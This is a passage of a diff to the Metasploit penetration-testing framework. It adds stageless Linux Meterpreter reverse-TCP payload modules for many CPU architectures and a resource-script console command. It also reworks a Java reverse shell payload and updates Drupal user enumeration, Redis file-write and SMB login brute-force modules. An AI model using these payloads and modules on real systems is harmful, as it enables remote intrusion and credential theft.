'KeepTemplateWorking' => keep,
'Iterations' => iter)
rescue
log_error("Payload generation failed: #{$!}")
return false
end
if(not ofile)
# Display generated payload
print(buf)
else
print_status("Writing #{buf.length} bytes to #{ofile}...")
fd = File.open(ofile, "wb")
fd.write(buf)
fd.close
end
@@generate_opts.parse(args) { |opt, idx, val|
case opt
when '-b'
badchars = Rex::Text.hex_to_raw(val)
when '-e'
encoder_name = val
when '-E'
force = true
when '-o'
option_str = val
when '-s'
sled_size = val.to_i
when '-t'
type = val
when '-f'
ofile = val
when '-i'
iter = val
when '-k'
keep = true
when '-p'
plat = val
when '-x'
template = val
when '-h'
print(
"Usage: generate [options]\n\n" +
"Generates a payload.\n" +
@@generate_opts.usage)
return true
end
end
end
}
if (encoder_name.nil? and mod.datastore['ENCODER'])
encoder_name = mod.datastore['ENCODER']
end
# Generate the payload
begin
buf = mod.generate_simple(
'BadChars' => badchars,
'Encoder' => encoder_name,
'Format' => type,
'NopSledSize' => sled_size,
'OptionStr' => option_str,
'ForceEncode' => force,
'Template' => template,
'Platform' => plat,
'KeepTemplateWorking' => keep,
'Iterations' => iter)
rescue
log_error("Payload generation failed: #{$!}")
return false
end
if(not ofile)
# Display generated payload
print(buf)
else
print_status("Writing #{buf.length} bytes to #{ofile}...")
fd = File.open(ofile, "wb")
fd.write(buf)
fd.close
end
return true
end
end
end end end end
@@ -0,0 +1,136 @@
# -*- coding: binary -*-
#
# Rex
#
require 'rex/ui/text/output/buffer/stdout'
module Msf
module Ui
module Console
module CommandDispatcher
#
# {CommandDispatcher} for commands related to background jobs in Metasploit Framework.
#
class Resource
include Msf::Ui::Console::CommandDispatcher
def commands
{
"resource" => "Run the commands stored in a file",
"makerc" => "Save commands entered since start to a file",
}
end
#
# Returns the name of the command dispatcher.
#
def name
"Resource Script"
end
def cmd_resource_help
print_line "Usage: resource path1 [path2 ...]"
print_line
print_line "Run the commands stored in the supplied files. Resource files may also contain"
print_line "ruby code between <ruby></ruby> tags."
print_line
print_line "See also: makerc"
print_line
end
def cmd_resource(*args)
if args.empty?
cmd_resource_help
return false
end
args.each do |res|
good_res = nil
if ::File.exist?(res)
good_res = res
elsif
# let's check to see if it's in the scripts/resource dir (like when tab completed)
[
::Msf::Config.script_directory + ::File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + ::File::SEPARATOR + "resource"
].each do |dir|
res_path = dir + ::File::SEPARATOR + res
if ::File.exist?(res_path)
good_res = res_path
break
end
end
end
if good_res
driver.load_resource(good_res)
else
print_error("#{res} is not a valid resource file")
next
end
end
end
#
# Tab completion for the resource command
#
# @param str [String] the string currently being typed before tab was hit
# @param words [Array<String>] the previously completed words on the command line. words is always
# at least 1 when tab completion has reached this stage since the command itself has been completed
def cmd_resource_tabs(str, words)
tabs = []
#return tabs if words.length > 1
if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ )
# then you are probably specifying a full path so let's just use normal file completion
return tab_complete_filenames(str,words)
elsif (not words[1] or not words[1].match(/^\//))
# then let's start tab completion in the scripts/resource directories
begin
[
::Msf::Config.script_directory + File::SEPARATOR + "resource",
::Msf::Config.user_script_directory + File::SEPARATOR + "resource",
"."
].each do |dir|
next if not ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + File::SEPARATOR + e
::File.file?(path) and File.readable?(path)
}
end
rescue Exception
end
else
tabs += tab_complete_filenames(str,words)
end
return tabs
end
def cmd_makerc_help
print_line "Usage: makerc <output rc file>"
print_line
print_line "Save the commands executed since startup to the specified file."
print_line
end
#
# Saves commands executed since the ui started to the specified msfrc file
#
def cmd_makerc(*args)
if args.empty?
cmd_makerc_help
return false
end
driver.save_recent_history(args[0])
end
end
end
end
end
end
+13
View File
@@ -26,6 +26,15 @@ class Driver < Msf::Ui::Driver
DefaultPrompt = "%undmsf%clr"
DefaultPromptChar = "%clr>"
#
# Console Command Dispatchers to be loaded after the Core dispatcher.
#
CommandDispatchers = [
CommandDispatcher::Modules,
CommandDispatcher::Jobs,
CommandDispatcher::Resource
]
#
# The console driver processes various framework notified events.
#
@@ -108,6 +117,10 @@ class Driver < Msf::Ui::Driver
print_error("***")
end
# Load the other "core" command dispatchers
CommandDispatchers.each do |dispatcher|
enstack_dispatcher(dispatcher)
end
# Add the database dispatcher if it is usable
if (framework.db.usable)
+17
View File
@@ -107,6 +107,10 @@ require 'msf/core/exe/segment_appender'
# @return [String]
# @return [NilClass]
def self.to_executable(framework, arch, plat, code = '', opts = {})
if elf? code
return code
end
if arch.index(ARCH_X86)
if plat.index(Msf::Module::Platform::Windows)
@@ -959,6 +963,9 @@ require 'msf/core/exe/segment_appender'
# @param big_endian [Boolean] Set to "false" by default
# @return [String]
def self.to_exe_elf(framework, opts, template, code, big_endian=false)
if elf? code
return code
end
# Allow the user to specify their own template
set_template_default(opts, template)
@@ -2127,6 +2134,9 @@ require 'msf/core/exe/segment_appender'
exeopts[:uac] = true
Msf::Util::EXE.to_exe_msi(framework, exe, exeopts)
when 'elf'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X86,nil
@@ -2154,6 +2164,9 @@ require 'msf/core/exe/segment_appender'
end
end
when 'elf-so'
if elf? code
return code
end
if !plat || plat.index(Msf::Module::Platform::Linux)
case arch
when ARCH_X64
@@ -2293,6 +2306,10 @@ require 'msf/core/exe/segment_appender'
bo
end
def self.elf?(code)
code[0..3] == "\x7FELF"
end
end
end
end
+2 -1
View File
@@ -29,7 +29,8 @@ class PayloadCachedSize
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
'RC4PASSWORD' => 'Metasploit',
'DNSZONE' => 'corelan.eu',
'PEXEC' => '/bin/sh'
'PEXEC' => '/bin/sh',
'StagerURILength' => 5
},
'Encoder' => nil,
'DisableNops' => true
@@ -12,6 +12,7 @@ module Sinks
class TimestampFlatfile < Flatfile
def log(sev, src, level, msg, from) # :nodoc:
return unless msg.present?
msg = msg.chop.gsub(/\x1b\[[0-9;]*[mG]/,'').gsub(/[\x01-\x02]/, " ")
fd.write("[#{get_current_timestamp}] #{msg}\n")
fd.flush
@@ -226,6 +226,24 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
alias rename mv
end
#
# Performs a copy from oldname to newname
#
def File.cp(oldname, newname)
request = Packet.create_request('stdapi_fs_file_copy')
request.add_tlv(TLV_TYPE_FILE_NAME, client.unicode_filter_decode( oldname ))
request.add_tlv(TLV_TYPE_FILE_PATH, client.unicode_filter_decode( newname ))
response = client.send_request(request)
return response
end
class << self
alias copy cp
end
#
# Upload one or more files to the remote remote directory supplied in
# +destination+.
@@ -319,6 +337,7 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO
if ::File.exist?(dest_file)
dst_stat = ::File.stat(dest_file)
if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime
src_fd.close
return 'skipped'
end
end
@@ -71,6 +71,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'pwd' => 'Print working directory',
'rm' => 'Delete the specified file',
'mv' => 'Move source to destination',
'cp' => 'Copy source to destination',
'rmdir' => 'Remove directory',
'search' => 'Search for files',
'upload' => 'Upload a file or directory',
@@ -95,6 +96,7 @@ class Console::CommandDispatcher::Stdapi::Fs
'rmdir' => ['stdapi_fs_delete_dir'],
'rm' => ['stdapi_fs_delete_file'],
'mv' => ['stdapi_fs_file_move'],
'cp' => ['stdapi_fs_file_copy'],
'search' => ['stdapi_fs_search'],
'upload' => [],
'show_mount' => ['stdapi_fs_mount_show'],
+1 -1
View File
@@ -139,7 +139,7 @@ begin
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
# prompt on Windows.
self.prompt = prompt
reset_sequence = "\001\r\033[K\002"
reset_sequence = "\n\001\r\033[K\002"
if (/mingw/ =~ RUBY_PLATFORM)
reset_sequence = ""
end
+1
View File
@@ -272,6 +272,7 @@ module Shell
#
def print_error(msg='')
return if (output.nil?)
return if (msg.nil?)
self.on_print_proc.call(msg) if self.on_print_proc
# Errors are not subject to disabled output
+3 -3
View File
@@ -65,9 +65,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.2.1'
spec.add_runtime_dependency 'metasploit-payloads', '1.2.4'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.2'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.4'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.
@@ -128,7 +128,7 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'rex-struct2'
# Library which contains architecture specific information such as registers, opcodes,
# and stack manipulation routines.
spec.add_runtime_dependency 'rex-arch', '0.1.2'
spec.add_runtime_dependency 'rex-arch', '0.1.4'
# Library for working with OLE.
spec.add_runtime_dependency 'rex-ole'
# Library for creating and/or parsing MIME messages.
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary
end
def base_uri
@base_uri ||= "#{normalize_uri(target_uri.path)}?q=admin/views/ajax/autocomplete/user/"
@base_uri ||= normalize_uri("#{target_uri.path}/?q=admin/views/ajax/autocomplete/user/")
end
def check_host(ip)
@@ -126,9 +126,9 @@ class MetasploitModule < Msf::Auxiliary
return
end
end
results = results.flatten.uniq
print_status("Done. #{results.length} usernames found...")
results.flatten.uniq.each do |user|
results.each do |user|
print_good("Found User: #{user}")
report_cred(
@@ -78,12 +78,14 @@ class MetasploitModule < Msf::Auxiliary
if not datastore['QUERY'].empty?
qvars = queryparse(datastore['QUERY']) #Now its a Hash
else
print_error("You need to set QUERY param for GET")
return
end
else
if not datastore['DATA'].empty?
qvars = queryparse(datastore['DATA']) #Now its a Hash
else
print_error("You need to set DATA parameter for POST")
return
end
end
@@ -55,18 +55,18 @@ class MetasploitModule < Msf::Auxiliary
# Get the currently configured dir and dbfilename before we overwrite them;
# we should set them back to their original values after we are done.
# XXX: this is a hack -- we should really parse the responses more correctly
original_dir = redis_command('CONFIG', 'GET', 'dir').split(/\r\n/).last
original_dbfilename = redis_command('CONFIG', 'GET', 'dbfilename').split(/\r\n/).last
original_dir = (redis_command('CONFIG', 'GET', 'dir') || '').split(/\r\n/).last
original_dbfilename = (redis_command('CONFIG', 'GET', 'dbfilename') || '').split(/\r\n/).last
if datastore['DISABLE_RDBCOMPRESSION']
original_rdbcompression = redis_command('CONFIG', 'GET', 'rdbcompression').split(/\r\n/).last
original_rdbcompression = (redis_command('CONFIG', 'GET', 'rdbcompression') || '').split(/\r\n/).last
end
# set the directory which stores the current redis local store
data = redis_command('CONFIG', 'SET', 'dir', dirname)
data = redis_command('CONFIG', 'SET', 'dir', dirname) || ''
return unless data.include?('+OK')
# set the file name, relative to the above directory name, that is the redis local store
data = redis_command('CONFIG', 'SET', 'dbfilename', basename)
data = redis_command('CONFIG', 'SET', 'dbfilename', basename) || ''
return unless data.include?('+OK')
# Compression string objects using LZF when dump .rdb databases ?
@@ -75,7 +75,7 @@ class MetasploitModule < Msf::Auxiliary
# the dataset will likely be bigger if you have compressible values or
# keys.
if datastore['DISABLE_RDBCOMPRESSION'] && original_rdbcompression.upcase == 'YES'
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no')
data = redis_command('CONFIG', 'SET', 'rdbcompression', 'no') || ''
if data.include?('+OK')
reset_rdbcompression = true
else
@@ -85,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
end
if datastore['FLUSHALL']
data = redis_command('FLUSHALL')
data = redis_command('FLUSHALL') || ''
unless data.include?('+OK')
print_warning("#{peer} -- failed to flushall(); continuing")
end
@@ -96,9 +96,9 @@ class MetasploitModule < Msf::Auxiliary
# multiline. It also probably doesn't work well if the content isn't
# simple ASCII text
key = Rex::Text.rand_text_alpha(32)
data = redis_command('SET', key, content)
data = redis_command('SET', key, content) || ''
return unless data.include?('+OK')
data = redis_command('SAVE')
data = redis_command('SAVE') || ''
if data.include?('+OK')
print_good("#{peer} -- saved #{content.size} bytes inside of redis DB at #{path}")
@@ -55,6 +55,7 @@ class MetasploitModule < Msf::Auxiliary
register_options(
[
Opt::Proxies,
OptBool.new('ABORT_ON_LOCKOUT', [ true, "Abort the run when an account lockout is detected", true ]),
OptBool.new('PRESERVE_DOMAINS', [ false, "Respect a username that contains a domain name.", true ]),
OptBool.new('RECORD_GUEST', [ false, "Record guest-privileged random logins to the database", false ]),
OptBool.new('DETECT_ANY_AUTH', [false, 'Enable detection of systems accepting any authentication', true])
@@ -121,6 +122,9 @@ class MetasploitModule < Msf::Auxiliary
@scanner.scan! do |result|
case result.status
when Metasploit::Model::Login::Status::LOCKED_OUT
print_error("Account lockout detected on '#{result.credential}'")
return if datastore['ABORT_ON_LOCKOUT']
when Metasploit::Model::Login::Status::DENIED_ACCESS
print_brute :level => :status, :ip => ip, :msg => "Correct credentials, but unable to login: '#{result.credential}', #{result.proof}"
report_creds(ip, rport, result)
+1 -1
View File
@@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true,
},
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe },
'Platform' => %w{ android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi },
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', { } ] ],
'DefaultTarget' => 0
@@ -35,9 +35,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
@@ -30,9 +30,6 @@ module MetasploitModule
'Session' => Msf::Sessions::Meterpreter_Java_Android,
'Payload' => '',
))
register_options([
OptBool.new('AutoLoadAndroid', [true, "Automatically load the Android extension", true])
], self.class)
end
#
@@ -16,37 +16,24 @@ module MetasploitModule
include Msf::Payload::Java
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
def initialize(info={})
super(merge_info(info,
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => [
'mihi', # all the hard work
'egypt' # msf integration
],
'License' => MSF_LICENSE,
'Platform' => [ 'java' ],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' =>
{
'Offsets' => { },
'Payload' => ''
}
'Name' => 'Java Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => ['mihi', 'egypt'],
'License' => MSF_LICENSE,
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShell,
'Payload' => {'Offsets' => {}, 'Payload' => ''}
))
@class_files = [
[ "metasploit", "Payload.class" ],
[ "javapayload", "stage", "Stage.class" ],
[ "javapayload", "stage", "StreamForwarder.class" ],
[ "javapayload", "stage", "Shell.class" ],
]
end
def generate_jar(opts={})
jar = Rex::Zip::Jar.new
jar.add_sub("metasploit") if opts[:random]
@class_files.each do |path|
class_files.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
@@ -57,15 +44,16 @@ module MetasploitModule
jar.add_file(path.join("/"), data)
end
jar.build_manifest(:main_class => "metasploit.Payload")
jar.add_file("metasploit.dat", config)
jar.add_file("metasploit.dat", stager_config(opts))
jar
end
def config
def stager_config(opts={})
ds = opts[:datastore] || datastore
c = ""
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c << "LHOST=#{ds["LHOST"]}\n" if ds["LHOST"]
c << "LPORT=#{ds["LPORT"]}\n" if ds["LPORT"]
# Magical, means use stdin/stdout. Used for debugging
#c << "LPORT=0\n"
c << "EmbeddedStage=Shell\n"
@@ -73,4 +61,12 @@ module MetasploitModule
c
end
def class_files
[
['metasploit', 'Payload.class'],
['javapayload', 'stage', 'Stage.class'],
['javapayload', 'stage', 'StreamForwarder.class'],
['javapayload', 'stage', 'Shell.class'],
]
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_linux'
module MetasploitModule
CachedSize = 292344
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('aarch64-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_armbe_linux'
module MetasploitModule
CachedSize = 285000
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armbe_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('armv5b-linux-musleabi', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_armle_linux'
module MetasploitModule
CachedSize = 284152
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_armle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('armv5l-linux-musleabi', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mips64_linux'
module MetasploitModule
CachedSize = 504960
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPS64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mips64_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mips64-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mipsbe_linux'
module MetasploitModule
CachedSize = 484668
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mipsbe_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mips-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_mipsle_linux'
module MetasploitModule
CachedSize = 484732
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_MIPSLE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_mipsle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('mipsel-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_ppc_linux'
module MetasploitModule
CachedSize = 329724
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_PPC,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_ppc_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('powerpc-linux-muslsf', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_ppc64le_linux'
module MetasploitModule
CachedSize = 396160
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_PPC64LE,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_ppc64le_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('powerpc64le-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x64_mettle_linux'
module MetasploitModule
CachedSize = 289824
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_X64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x64_Mettle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('x86_64-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_x86_mettle_linux'
module MetasploitModule
CachedSize = 292828
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_X86,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_x86_Mettle_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('i486-linux-musl', generate_config).to_binary :exec
end
end
@@ -0,0 +1,41 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_zarch_linux'
module MetasploitModule
CachedSize = 367864
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Linux Meterpreter',
'Description' => 'Run the mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>'
],
'Platform' => 'linux',
'Arch' => ARCH_ZARCH,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_zarch_Linux
)
)
end
def generate
MetasploitPayloads::Mettle.new('s390x-linux-musl', generate_config).to_binary :exec
end
end
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_options'
module MetasploitModule
CachedSize = 27144
CachedSize = 27149
include Msf::Payload::Single
include Msf::Payload::Php::ReverseTcp
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 51742
CachedSize = 51758
include Msf::Payload::Single
include Msf::Payload::Python
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 51706
CachedSize = 51718
include Msf::Payload::Single
include Msf::Payload::Python
@@ -35,7 +35,7 @@ module MetasploitModule
def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 51706
CachedSize = 51722
include Msf::Payload::Single
include Msf::Payload::Python
@@ -36,7 +36,7 @@ module MetasploitModule
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
@@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module MetasploitModule
CachedSize = 51662
CachedSize = 51674
include Msf::Payload::Single
include Msf::Payload::Python
@@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {
@@ -40,13 +40,13 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
opts[:uuid] ||= generate_payload_uuid
opts[:stageless] = true
# create the configuration block
config_opts = {
@@ -41,8 +41,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -40,8 +40,9 @@ module MetasploitModule
], self.class)
end
def generate
stage_meterpreter(true) + generate_config
def generate(opts={})
opts[:stageless] = true
stage_meterpreter(opts) + generate_config(opts)
end
def generate_config(opts={})
@@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module MetasploitModule
CachedSize = 1189423
CachedSize = 1189935
include Msf::Payload::TransportConfig
